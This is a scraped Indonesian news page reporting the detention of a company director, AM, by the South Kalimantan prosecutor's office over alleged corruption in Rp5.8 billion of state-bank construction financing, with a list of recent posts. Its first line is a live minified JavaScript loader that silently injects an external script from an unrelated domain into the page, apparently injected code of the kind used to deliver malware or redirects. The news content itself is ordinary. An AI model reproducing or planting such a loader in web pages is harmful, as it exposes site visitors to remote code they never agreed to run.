(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejati Kalsel Tahan Dirut Perusahaan Kasus Korupsi Pembiayaan Konstruksi Bank Pemerintah


KANALKALIMANTAN.COM, BANJARMASIN – Sorang pengusaha berinisial AM di ditetapkan tersangka dan ditahan oleh penyidik Kejaksaan Tinggi (Kejati) Kalimantan Selatan (Kalsel) karena tersandung kasus dugaan tindak pidana korupsi.

AM selaku Direktur Utama PT Alfath Salima Mulia diduga telah melakukan penyimpangan pembiayaan konstruksi yang dikucurkan salah satu bank milik pemerintah yang berkantor cabang di Banjarmasin.

Kasi Penerangan Hukum (Penkum) Kejati Kalsel, Yuni Priyono SH dalam keterangan pers mengatakan, AM diduga melakukan penyimpangan pembiayaan konstruksi yang dikucurkan sebesar Rp5,8 miliar kepada perusahaannya dari bank pemerintah tahun 2019.

Baca juga: Anggota DPRD Kapuas 2024-2029 Dilantik, Pj Bupati Darliansjah : Kepentingan Publik di Atas Pribadi

AM resmi ditahan penyidik Tindak Pidana Khusus (Pidsus) Kejati Kalsel sejak Kamis (15/8/2024) lalu.

Penyidik menjerat dengan primair pasal 2 ayat (1) jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP.

Sedangkan subsidair dijerat dengan pasal 3 juncto pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo pasal 55 ayat (1) ke-1 KUHP.

Baca juga: Nestapa Batubara di Konsesi PT Merge Mining Industri

Untuk 20 hari kedepan, AM ditahan di Lembaga Pemasyarakatan (Lapas) Kelas II A Banjarmasin dari tanggal 15 Agustus 2024-3 September 2024.

Penahanan AM, kata Yuni Priyono, berdasarkan Surat Perintah Penahanan Kepala Kejaksaan Kalimantan Selatan Nomor : PRINT – 827 /O.3.5/Fd.2/08/2024 tanggal 15 Agustus 2024

Tindakan hukum yang dilakukan oleh tim penyidik menurutnya merupakan bukti nyata dalam upaya penegakan hukum pemberantasan tindak pidana korupsi khususnya di wilayah Kalsel.

“Sebab korupsi merupakan penyakit sosial yang merusak tatanan masyarakat dan perekonomian negara, dan menghambat pembangunan yang berkelanjutan, merampas hak asasi manusia, serta menghancurkan kepercayaan masyarakat terhadap pemerintah dan istitusi-institusi publik,” pungkas Kasi Penkum Kejati Kalsel. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.